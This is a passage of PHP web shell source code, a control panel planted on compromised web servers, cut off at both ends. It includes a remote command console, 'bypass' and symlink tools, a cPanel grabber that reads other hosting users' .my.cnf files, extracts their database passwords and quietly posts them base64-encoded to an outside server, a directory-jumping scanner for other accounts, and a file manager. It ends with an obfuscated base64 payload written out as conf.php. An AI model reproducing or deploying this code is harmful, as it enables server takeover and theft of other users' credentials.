onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><label><select name=alias>\';\r\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\r\n\t\tif($v == \'\') {\r\n\t\t\techo \'<optgroup label="-\'.htmlspecialchars($n).\'-"></optgroup>\';\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\techo \'<option value="\'.htmlspecialchars($v).\'">\'.$n.\'</option>\';\r\n\t}\r\n\techo \'</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\\\'\\\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 \'.(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX <input type=checkbox name=show_errors value=1 \'.(!empty($_POST[\'p2\'])||$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\']?\'checked\':\'\').\'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\techo htmlspecialchars("$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']));\r\n\t}\r\n\techo \'</textarea><table style="border:1px solid #000000;background-color:#000000;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>\';\r\n\techo \'</form></div><script>d.cf.cmd.focus();</script>\';\r\n\thardFooter();\r\n}\r\nfunction actionbypas() {\r\n\thardHeader();\r\n\techo "<center><h1>Bypass Tools</h1><div class=content><br>";\r\n\r\n\techo"<th><a href=\'#\' onclick=\'g(\\"passw\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'> [ Bypass: /etc/passwd ] </a></th><p>";\r\n\techo"<th><a href=\'#\' onclick=\'g(\\"disable\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'> [ Bypass: Disbaled Functions ] </a></th>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionSym() {\r\n\thardHeader();\r\n\techo "<center><h1>Symlink</h1><div class=content><br>";\r\n\r\n\techo "<br><center>  <iframe frameBorder=0 src=\'?sym\' width=\'900\' height=\'300\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionpassw() {\r\n\thardHeader();\r\n\techo "<center><h1>Bypass: /etc/passwd</h1><div class=content><br>";\r\n\r\n\techo "<br><center>  <iframe frameBorder=0 src=\'?passwd\' width=\'900\' height=\'400\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actiondisable() {\r\n\thardHeader();\r\n\techo "<center><h1>Bypass: Disabled Functions</h1><div class=content><br>";\r\n\techo "<br><center>  <iframe frameBorder=0 src=\'?disabled\' width=\'900\' height=\'300\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionPhp() {\r\n\thardHeader();\r\n\techo "<center><h1>Grab Cpanel</h1><div class=content><br>";\r\n\t @ini_set(\'display_errors\', 0);\r\nfunction entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1) {\r\n    $ar0 = explode($marqueurDebutLien, $text);\r\n    $ar1 = explode($marqueurFinLien, $ar0[$i]);\r\n    return trim($ar1[0]);\r\n}\r\necho \'<br><br>\';\r\necho \'<center>\';\r\n$d0mains = @file(\'/etc/named.conf\');\r\n$domains = scandir("/var/named");\r\nif ($domains or $d0mains) {\r\n    $domains = scandir("/var/named");\r\n    if ($domains) {\r\n        echo "<table align=center><tr><th valign=top  class=style2> COUNT </th><th valign=top > DOMAIN </th><th valign=top class=style2 > USER </th><th valign=top class=style2 > Password </th><th valign=top class=style2 > .my.cnf </th></tr>";\r\n        $count = 1;\r\n        $dc = 0;\r\n        $list = scandir("/var/named");\r\n        foreach ($list as $domain) {\r\n            if (strpos($domain, ".db")) {\r\n                $domain = str_replace(\'.db\', \'\', $domain);\r\n                $owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));\r\n                $dirz = \'/home/\' . $owner[\'name\'] . \'/.my.cnf\';\r\n                $path = getcwd();\r\n                if (is_readable($dirz)) {\r\n                    copy($dirz, \'\' . $path . \'/\' . $owner[\'name\'] . \'.txt\');\r\n                    $p = file_get_contents(\'\' . $path . \'/\' . $owner[\'name\'] . \'.txt\');\r\n                    $password = entre2v2($p, \'password="\', \'"\');\r\n                    echo "<tr><td valign=top style=border :2px solid white; width: 139px class=style2>" . $count++ . "</td><td valign=top style= width: 139px; border :2px solid white  class=style2 ><a href=http://" . $domain . ":2082 target=_blank>" . $domain . "</a></td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $owner[\'name\'] . "</td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >" . $password . "</td><td valign=top style=border :2px solid white style=width: 139px><a href=" . $owner[\'name\'] . ".txt target=_blank>Click Here</a></td></tr>";\r\n                    $dc++;\r\n                    $success3 = "http://" . $domain . "|" . $owner[\'name\'] . "|" . $password . "\r\n";\r\n                    $ch = curl_init();\r\n                    curl_setopt($ch, CURLOPT_URL, "http://ww3s.ws/ok.php");\r\n                    curl_setopt($ch, CURLOPT_USERAGENT, \'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0\');\r\n                    curl_setopt($ch, CURLOPT_POST, 1);\r\n                    curl_setopt($ch, CURLOPT_POSTFIELDS, "result=" . base64_encode($success3));\r\n                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n                    curl_setopt($ch, CURLOPT_HEADER, 1);\r\n                    $buffer = curl_exec($ch);\r\n                }\r\n            }\r\n        }\r\n        echo \'</table>\';\r\n        $total = $dc;\r\n        echo \'</center>\';\r\n    } else {\r\n        $d0mains = @file(\'/etc/named.conf\');\r\n        if ($d0mains) {\r\n            echo "<table align=center><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";\r\n            $count = 1;\r\n            $dc = 0;\r\n            $mck = array();\r\n            foreach ($d0mains as $d0main) {\r\n                if (@eregi(\'zone\', $d0main)) {\r\n                    preg_match_all(\'#zone "(.*)"#\', $d0main, $domain);\r\n                    flush();\r\n                    if (strlen(trim($domain[1][0])) > 2) {\r\n                        $mck[] = $domain[1][0];\r\n                    }\r\n                }\r\n            }\r\n            $mck = array_unique($mck);\r\n            $usr = array();\r\n            $dmn = array();\r\n            foreach ($mck as $o) {\r\n                $infos = @posix_getpwuid(fileowner("/etc/valiases/" . $o));\r\n                $usr[] = $infos[\'name\'];\r\n                $dmn[] = $o;\r\n            }\r\n            array_multisort($usr, $dmn);\r\n            $dt = file(\'/etc/passwd\');\r\n            $passwd = array();\r\n            foreach ($dt as $d) {\r\n                $r = explode(\':\', $d);\r\n                if (strpos($r[5], \'home\')) {\r\n                    $passwd[$r[0]] = $r[5];\r\n                }\r\n            }\r\n            $l = 0;\r\n            $j = 1;\r\n            foreach ($usr as $r) {\r\n                $dirz = \'/home/\' . $r . \'/.my.cnf\';\r\n                $path = getcwd();\r\n                if (is_readable($dirz)) {\r\n                    copy($dirz, \'\' . $path . \'/\' . $r . \'.txt\');\r\n                    $p = file_get_contents(\'\' . $path . \'/\' . $r . \'.txt\');\r\n                    $password = entre2v2($p, \'password="\', \'"\');\r\n                    echo "<tr><td valign=top class=style2 style=width: 139px>" . $count++ . "</td><td valign=top class=style2 style=width: 139px><a target=_blank href=http://" . $dmn[$j - 1] . \'/>\' . $dmn[$j - 1] . \' </a></td><td valign=top class=style2 style=width: 139px>\' . $r . "</td><td valign=top class=style2 style=width: 139px>" . $password . "</td><td valign=top class=style2 style=width: 139px><a href=\'" . $r . ".txt\' target=\'_blank\'>Click Here</a></td></tr>";\r\n                    $dc++;\r\n                    flush();\r\n                    $l = $l ? 0 : 1;\r\n                    $j++;\r\n                }\r\n            }\r\n        }\r\n        echo \'</table>\';\r\n        $total = $dc;\r\n        echo \'<br><div class=result valign=top class=style2 style=width: 139px >Total cPanel Found = \' . $total . \'</h3><br />\';\r\n        echo \'</center>\';\r\n    }\r\n} else {\r\n    echo "<div class=result><i><font color=#ffb101>ERROR</font><br><font color=#ffb101>/var/named</font> or <font color=#ffb101>etc/named.conf</font> Not Accessible!</i></div>";\r\n}\r\n\techo" </div>";\r\n\thardFooter();\r\n}\r\nfunction actionReseller() {\r\n\thardHeader();\r\n\techo "<center><h1>WHM & Reseller Finder</h1><div class=content><br>";\r\n\techo "<br><center>  <iframe frameBorder=0 src=\'?reseller\' width=\'900\' height=\'470\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionFilesMan() {\r\n    if (!empty ($_COOKIE[\'f\']))\r\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tswitch($_POST[\'p1\']) {\r\n\t\t\tcase \'uploadFile\':\r\n\t\t\t\tif ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {\r\n\t\t\t\t\tforeach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {\r\n                        if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {\r\n                                echo "Can\'t upload file!";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'mkdir\':\r\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\r\n\t\t\t\t\techo "Can\'t create new dir";\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'delete\':\r\n\t\t\t\tfunction deleteDir($path) {\r\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n\t\t\t\t\t$dh  = opendir($path);\r\n\t\t\t\t\twhile ( ($asciifnc6 = readdir($dh) ) !== false) {\r\n\t\t\t\t\t\t$asciifnc6 = $path.$asciifnc6;\r\n\t\t\t\t\t\tif ( (basename($asciifnc6) == "..") || (basename($asciifnc6) == ".") )\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t$type = filetype($asciifnc6);\r\n\t\t\t\t\t\tif ($type == "dir")\r\n\t\t\t\t\t\t\tdeleteDir($asciifnc6);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($asciifnc6);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir($dh);\r\n\t\t\t\t\t@rmdir($path);\r\n\t\t\t\t}\r\n\t\t\t\tif(is_array(@$_POST[\'f\']))\r\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\r\n                        if($f == \'..\')\r\n                            continue;\r\n\t\t\t\t\t\t$f = urldecode($f);\r\n\t\t\t\t\t\tif(is_dir($f))\r\n\t\t\t\t\t\t\tdeleteDir($f);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($f);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'paste\':\r\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\r\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\r\n\t\t\t\t\tfunction move_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        if ($zip->open($_POST[\'p2\'], 1)) {\r\n                            chdir($_COOKIE[\'c\']);\r\n                            foreach($_COOKIE[\'f\'] as $f) {\r\n                                if($f == \'..\')\r\n                                    continue;\r\n                                if(@is_file($_COOKIE[\'c\'].$f))\r\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\r\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\r\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\r\n                                    foreach ($iterator as $key=>$value) {\r\n                                        $zip->addFile(realpath($key), $key);\r\n                                    }\r\n                                }\r\n                            }\r\n                            chdir($GLOBALS[\'cwd\']);\r\n                            $zip->close();\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        foreach($_COOKIE[\'f\'] as $f) {\r\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\r\n                                $zip->extractTo($GLOBALS[\'cwd\']);\r\n                                $zip->close();\r\n                            }\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\r\n                    chdir($_COOKIE[\'c\']);\r\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\r\n                    ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\r\n                    chdir($GLOBALS[\'cwd\']);\r\n\t\t\t\t}\r\n\t\t\t\tunset($_COOKIE[\'f\']);\r\n                setcookie(\'f\', \'\', time() - 3600);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n                if(!empty($_POST[\'p1\'])) {\r\n\t\t\t\t\tprototype(\'act\', $_POST[\'p1\']);\r\n\t\t\t\t\tprototype(\'f\', serialize(@$_POST[\'f\']));\r\n\t\t\t\t\tprototype(\'c\', @$_POST[\'c\']);\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n    hardHeader();\r\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\r\n\t$dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';hardFooter(); return; }\r\n\tglobal $sort;\r\n\t$sort = array(\'name\', 1);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\r\n\t\t\t$sort = array($match[1], (int)$match[2]);\r\n\t}\r\necho "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\r\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\r\n\t$dirs = $files = array();\r\n\t$n = count($dirContent);\r\n\tfor($i=0;$i<$n;$i++) {\r\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\r\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\r\n\t\t$tmp = array(\'name\' => $dirContent[$i],\r\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\r\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\r\n\t\t\t\t\t \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\r\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\r\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\r\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\r\n\t\t\t\t\t);\r\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n\t}\r\n\t$GLOBALS[\'sort\'] = $sort;\r\n\tfunction cmp($a, $b) {\r\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\r\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t\telse\r\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t}\r\n\tusort($files, "cmp");\r\n\tusort($dirs, "cmp");\r\n\t$files = array_merge($dirs, $files);\r\n\t$l = 0;\r\n\tforeach($files as $f) {\r\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\r\n\t\t\t.\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'frame\\\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\r\n\t\t$l = $l?0:1;\r\n\t}\r\n\techo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=\'\'>\r\n\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n\t<label><select name=\'p1\'>";\r\n\tif(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\r\n        echo "<option value=\'paste\'>↳ Paste</option>";\r\n\techo "<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\r\n    if(class_exists(\'ZipArchive\'))\r\n        echo "<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";\r\n    echo "<option value=\'tar\'>+ tar.gz</option>";\r\n    echo "</select></label>";\r\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\r\n        echo "&nbsp;file name: <input type=text name=p2 value=\'hard_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\r\n    echo "<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";\r\n\thardFooter();\r\n}\r\nfunction actionStringTools() {\r\n\thardHeader();\r\n\techo "<center><h1>Jumping :D</h1><div class=content><br>";\r\n\t$i = 0;\r\n@ini_set(\'display_errors\', 0);\r\necho "<pre><div class=\'margin: 5px auto;\'>";\r\n$etc = fopen("/etc/passwd", "r") or die("<font color=white>Can\'t read /etc/passwd</font>");\r\nwhile ($passwd = fgets($etc)) {\r\n    if ($passwd == \'\' || !$etc) {\r\n        echo "<font color=white>Can\'t read /etc/passwd</font>";\r\n    } else {\r\n        preg_match_all(\'/(.*?):x:/\', $passwd, $user_jumping);\r\n        foreach ($user_jumping[1] as $user_khoer_jump) {\r\n            $user_jumping_dir = "/home/$user_khoer_jump/public_html";\r\n            if (is_readable($user_jumping_dir)) {\r\n                $i++;\r\n                $jrw = "[<font color=white>R</font>] <a href=\'?path=$user_jumping_dir\'><font color=#ffb101>$user_jumping_dir</font></a>";\r\n                if (is_writable($user_jumping_dir)) {\r\n                    $jrw = "[<font color=white>RW</font>] <a href=\'?path=$user_jumping_dir\'><font color=#ffb101>$user_jumping_dir</font></a>";\r\n                }\r\n                echo $jrw;\r\n                if (function_exists(\'posix_getpwuid\')) {\r\n                    $domain_jump = file_get_contents("/etc/named.conf");\r\n                    if ($domain_jump == \'\') {\r\n                        echo " => ( <font color=white>I can\'t take the domain name</font> )<br>";\r\n                    } else {\r\n                        preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);\r\n                        foreach ($domains_jump[1] as $dj) {\r\n                            $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));\r\n                            $user_jumping_url = $user_jumping_url[\'name\'];\r\n                            if ($user_jumping_url == $user_khoer_jump) {\r\n                                echo " => ( <u>$dj</u> )<br>";\r\n                                break;\r\n                            }\r\n                        }\r\n                    }\r\n                } else {\r\n                    echo "<br>";\r\n                }\r\n            }\r\n        }\r\n    }\r\n}\r\nif ($i == 0) {\r\n} else {\r\n    echo "<br>Total " . $i . " Directory " . gethostbyname($_SERVER[\'HTTP_HOST\']) . "";\r\n}\r\necho "</div></pre>";\r\n\techo "</div>";\r\n\thardFooter();\r\n}\r\n\r\nfunction actionSafeMode() {\r\n\thardHeader();\r\n\techo "<center><h1>Config Grabber</h1><div class=content><br>";\r\n\t@ini_set(\'display_errors\', 0);\r\n\t$cgi_dir = mkdir(\'priv_sym\', 0755);\r\n        chdir(\'priv_sym\');\r\n\t$file_mass = "conf.php";\r\n\t$mass_script = "PD9waHANCiRuYW1lPSJaWFpoYkNVeU9DVXlObkYxYjNRbE0wSWxNMFlsTWpabmRDVXpRaVV5Tm5GMWIzUWxNMEl1WjNwMWJtTnZiWEJ5WlhOekpUSTRaM3AxYm1OdmJYQnlaWE56SlRJNFozcHBibVpzWVhSbEpUSTRaM3BwYm1ac1lYUmxKVEk0WjNwcGJtWnNZWFJsSlRJNFltRnpaVFkwWDJSbFkyOWtaU1V5T0hOMGNuSmxkaVV5T0NVeU5ITjBjaVV5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXpRZz09IjsgJHN0cj0iRHBDQ0taTEVQd2xCL2Y0RFM2alAwdkx4QlRjK3lRaVBua1BIS0JjUGswL1BEVUYyT01Fc2pvais5R1FHWFNOUm05bFVQdEFxS2Z6U3RIWEtGVTlYeUNBVnZxWTRaSmRKMEhkRjFYSDAra0hsQTFxUEZNdlE1TmdJQ2hYeFVlUnBCT000TnhrTGZEQXBwcXZuN0hqdWxUWnJvWWp6RUQ4bWh5N3lFTzg3YXN6ZTNSMmU4eGNrUkc0dnZoYW13dlV2MHdFbEI5UlVHenc0cllaZ3hmRE1adXk4Vm1xSmtSTVZOb2tCcCthV0xNdHN4a2ljbERvT3QzZW5yYTRSTDVhM2VqN0ltVGk2bjd5b1ZOYzc1S2dyMWpsa2loZGdPNFcrcVpGeWlLdHpESk8vZzd3clhWcHFBeThKTDVEQ1NvTmhxOUdBSUFkQWNqcmxDQUVRREtJcE1uRmQ2ekNyVDNWa2Z1WVB4WG0wb3BrYktTZGcveG1hMGFpTnR5cFNyTTN5M0loVmd2Wm5FdEl4VCtzeTFhRkYyeTNJeWcxYWw4WGdVcjRWamxhVWlVbWFlKzFPL3F0WFZId213TEt3d1R2Y1kxQmt4L2pEQTdGK3Bwd2JvU0pXQk00dzFlalFPUFZjZ21kakVYNisvRVU0eGJKTDJlZ2FDZHkzVXFDYnh2dlk1R2F4bFcvekRNRFRGeFBYTHBRZCszbGxEaFBGVC9qS0ZVTGlOZHlzdkRxaGtWaTRMWG1FYm84SHdzZXFKdGdtV1NTOU9oeU5PRlN0c0kxNmZ5b0IxQWtkTGprUU1lTWo5TlJRS0ZYeC9pRDRmVXNwcDZaWkNjVk5OWWlROEtVR2prRmhzaWNOaVcvbk14eUVwdFpobnhzQnlDZTVOVnlJVXByYWhtYVRldUlBYTBpMWplUkx1bHVvZk8vRzdNbnlSemxlZXdKZmo4c09UZkwrbDRRcEtCeXp5RHFsVDNlOGxvcUFaYjI5d2k2QW1LV2s3SXVobGtCdlkvQ21JUi9aTmpKQWE4V3hENUt2NXpvb3VWS1owMFUxVVkza2dBb0dVNG1pNXA1QjMvZ3BxeEcwYUkwMUlKQjdTYUV5SWVyTGY4bXpQcTd0Uk80S1hXazRtUUZLc1FVWkhJVGM1aEZpSzdBWkNLLzdrUm1oeUVCZEJtZ2dUTXFqZmxqMnFCQVprbThPcGdKSEdYbUp3WjR4NE1CTXBFS2JqV1I0ZDk2U0ZKREFuOCtPN2VIOFB4aENCTFNKdk5OZG9DdEVjNDErM1k0TXZzay96OXVDMlg0Zzl6NExMZGxubWw4RUhIVFhpYkw4WVFNU2RuODF2aFRFb1FCS1A5cUxpWkdLa0NSQ3Rlb2s3REpNR0kyaG9MVWM5b05DUmR3RFIxRjZlNE5ERVVObXlIbUd4SU1GYU5QMUFBdTRFSDV2NGtmaUxGZ0Z4RnZIajhQeiszL0hIaHZvM09DRXk4WVdVMERyOGdMWjBZRTdmQ0N3YzJnUENYUVdrRG5EQWRIRDduQTNMZCtTVDgxL29IMU41U1V3eG5OQXhtVWU4RzRhZnVQeTc2S01HWXFXNVJ4OHRaYTduSHBydVVMYlNIZ01pd0Y0VXRMYnBkNVVuZmhaajM2T3Y2Q0FnaUhkUjRnZ2hCcFJDTy9lZkFGd2VYTVBiTHFIRVF4bFlNOXN1VVo1QjNkZDc2R2k0dGZVY0dEM1VkME4zdXhTN1BiVUlUdzNkTkh1bXMwTVJ3dEVsTFpBeVVuSWV1RDdMSEpOTkduYzk3RzMxbEtEdHhJaE1GcG9CUEJmT2tJaE5wdU9RQVBDQ2Fsb3Z0d2hJaEdJam5tZnZ4ajEvbFVBVERvKzl4eGQ5VFhjQWV6MFVqOStuSDV6VEptbmMySkhoVmtIRVJkbVRJVjVUMkFDUTlobW5YNHNha0JRcHRyVE5MQ3RoQXVaa0ww